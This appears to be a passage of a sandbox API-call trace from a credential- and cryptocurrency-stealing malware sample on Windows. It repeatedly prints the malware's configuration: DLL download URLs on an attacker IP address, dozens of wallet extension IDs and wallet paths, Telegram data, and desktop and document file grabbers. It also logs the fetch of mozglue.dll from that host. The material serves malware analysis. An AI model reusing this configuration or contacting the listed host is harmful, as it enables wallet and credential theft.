Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.801] lstrlenW (lpString="mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5027 [0258.801] LocalAlloc (uFlags=0x40, uBytes=0x27c6) returned 0x6e6bd0 [0258.801] StrCpyW (in: psz1=0x6bbe78, psz2="mozglue" | out: psz1="mozglue") returned="mozglue" [0258.801] LocalFree (hMem=0x6e6bd0) returned 0x0 [0258.801] lstrlenW (lpString="mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 5027 [0258.801] LocalAlloc (uFlags=0x40, uBytes=0x27c6) returned 0x6e6bd0 [0258.802] StrCpyW (in: psz1=0x6be5d0, psz2="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll" | out: psz1="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll") returned="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll" [0258.802] LocalFree (hMem=0x6e6bd0) returned 0x0 [0258.802] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6b5e98 [0258.802] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.802] lstrlenW (lpString="") returned 0 [0258.802] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6c0d28 [0258.803] lstrlenW (lpString="\\") returned 1 [0258.803] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.803] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6b5e98 [0258.803] lstrlenW (lpString="mozglue") returned 7 [0258.803] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0258.803] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6c0d28 [0258.803] lstrlenW (lpString=".dll") returned 4 [0258.803] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\mozglue") returned 43 [0258.803] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x6b5e98 [0258.804] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6e6bd0 [0258.805] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.805] lstrlenW (lpString="") returned 0 [0258.805] LocalAlloc (uFlags=0x40, uBytes=0x132) returned 0x6e08b0 [0258.806] lstrlenW (lpString="\r\n") returned 2 [0258.806] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.806] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6c0d28 [0258.807] lstrlenW (lpString="\r\n\r\n") returned 4 [0258.807] lstrlenW (lpString="Content-Type: text/plain;\r\n") returned 27 [0258.807] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6e08b0 [0258.807] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6c0d28 [0258.807] StrStrW (lpFirst="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll", lpSrch="://") returned="://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll" [0258.807] lstrlenW (lpString="51.195.166.178") returned 14 [0258.807] InternetOpenW (lpszAgent="record", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0028 [0258.807] lstrlenW (lpString="Content-Type: text/plain;\r\n\r\n\r\n") returned 31 [0258.807] InternetOpenUrlW (hInternet=0xcc0028, lpszUrl="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll", lpszHeaders="Content-Type: text/plain;\r\n\r\n\r\n", dwHeadersLength=0x1f, dwFlags=0x84400000, dwContext=0x0) returned 0xcc0030 [0258.862] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\mozglue.dll" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\mozglue.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x2b4 [0258.948] StrStrW (lpFirst="mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension 